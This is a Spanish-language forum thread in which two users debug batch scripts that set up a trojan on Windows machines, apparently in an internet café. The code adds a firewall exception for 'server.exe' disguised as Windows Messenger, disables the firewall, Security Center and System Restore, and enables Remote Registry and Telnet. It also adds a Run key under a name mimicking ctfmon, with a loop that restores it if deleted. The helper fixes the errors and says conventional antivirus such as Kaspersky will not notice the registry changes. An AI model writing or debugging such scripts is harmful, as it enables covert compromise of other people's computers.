Como hacer funcionar este batch perfectamente?

[SoloAki]

Hola si el primero es ctfmon.bat y el segundo es lsaas.bat si los voy a compilar luego osea que los tendria que modificar por .exe a algunas partes :p el primero que hace todo lo que dice y llama al segundo si existe. El segundo bat seria el que se fija si existe ctmon.bat y sino existe vuelve a crearla, creo que los 2 bat estan bien. Pero los ejecute en modo .bat en un cyber mas tarde te digo la ventana del cmd de los bat porque no me reconoce algunas cosas. Como /v y otras cosas si puedo voy a ejecutarlos en el cyber en .bat para no tener errores. Espero respuesta tuya

[Stacker]

Ya lo veo más claro. La parte en rojo (segundo código) tiene que ser ctfmon.bat, ya que es el valor de clave run a restaurar, iba un poco con prisa la ultima vez.
A parte de eso, todo bien.

Espero las capturas del cyber para solucionar los errores que pueda haber.

Saludos

[SoloAki]

Mira estas son las 2 cositas que me tira..  y nose porqué con respecto a este .bat

Código [Seleccionar] Expandir

@echo off
:inicio
reg add HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
/v server.exe /t REG_SZ /d "%windir%\ctfmon\1234\server.exe:*:Enabled:  Windows Messenger"
REG ADD "hklm\software\microsoft\windows\currentversion\run" /v ctfmon.bat /d %windir%\system32\2114\ctfmon.bat /f
if exist %windir%\system32\2114\lsass.exe ( start %windir%\system32\2114\lsass.exe )
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess" /v Start /d 4 /f
net start AppMgmt
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\AppMgmt" /v Start /d 4 /f
net start ProtectedStorage
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\ProtectedStorage" /v Start /d 2 /f
net start LmHosts
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\LmHosts" /v Start /d 2 /f
net stop wscsvc
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" /v Start /d 4 /f
net start RemoteRegistry
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\RemoteRegistry" /v Start /d 2 /f
net stop Srservice
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\Srservice" /v Start /d 4 /f
net start TlnSvr
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\TlnSvr" /v Start /d 2 /f
inicio:
if exist %windir%\system32\2114\system32.exe ( start /min %windir%\system32\2114\system32.exe )
ping -n 100 localhost > nul
goto inicio

Estas son las 2 cosas que me tira

http://www.subirimagenes.com/otros-asd0001-295568.html

Ahi el error ese /v solamente. y el otro error que nose ve es algo asi: "inicio:" nose reconoce como coso interno o externo,etc.. Sabes porque?

[Stacker]

El /v no se reconoce... tiene que ser porque has pasado a partir de ahí a otra línea (has partido el comando reg add).

Y el de inicio: no se reconoce... es porque los dos puntos tienen que ir al principio de la etiqueta y por otro lado no se pueden repetir las etiquetas (puedes poner :inicio2 o cualquier otra).

Prueba esto creo que deberia funcionar perfectamente.

Otra cosa, creo que es mejor cambiar el orden en el apartado de los servicios, es decir, primero cambiar el valor del registro y luego intentar iniciarlo (para el caso en que estuviera deshabilitado).

Saludos

[SoloAki]

Hola si probe no entendi lo del reg add.. eso creo que esta bien va separado
reg add el problema del inicio lo solucione gracias pero lo otro es el problema para agregar la exclusion en el firewall de windows el /v server.exe intente sacando el /v y no me tiro mas el error pero me lo tiro con el server.exe nose reconoe como un comando interno o externo bla bla.. nose porqué no esta bien la exclusion?

[Stacker]

Hola

El comando:

Código [Seleccionar] Expandir

reg add HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List /v server.exe
/t REG_SZ /d "%windir%\ctfmon\1234\server.exe:*:Enabled:  Windows Messenger"
debe de ir todo en una línea, /v es un parámetro del comando. Por eso si lo pones en una línea aparte salta un error, ya que no se reconoce como un comando ni como un ejecutable. Al quitar /v se queda como principio de línea server.exe y por la misma razón vuelve a aparecer el error pero con server.exe.

Si te das cuenta dejándolo dividido en dos líneas, la primera queda: reg add [clave] que solo crea una clave de registro vacia. Y la segunda línea ya que solo son parámetros no hace nada y devuelve un error.

[SoloAki]

Ah.. listo ya lo puse a la exclusion todo en una linea ahora lo pruebo y te digo despues.... lo otro esta bien ya creo.

Esto...

:r
ping 127.0.0.1 /n 120
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ctfmon
if %errorlevel%==1 reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ctfmon /d "%windir%\system32\2114\ctfmon.bat" /f
goto r

Desde re querry hasta /f va todo en una linea?

[Stacker]

No, en este caso el reg query ... llega hasta /v ctfmon, que consulta la clave. Y en la otra línea otro comando (if) que comprueba si se pudo realizar la consulta, si no, es que la clave no existe y la vuelve a crear.

[SoloAki]

Ah ok.. creo que ya esta.. supongo el kaspersky se capta de alguna modificacion asi en el registro y demas por mi .bat? espero que no asi no me delata xD

[Stacker]

Con el Kaspersky (y culaquier otro antivirus "convencional") no se pueden detectar éstos cambios en el registro. Lo único que puede darte problemas del Kaspersky es el firewall si está activo.  - Además de que no detecte el troyano... 

Saludos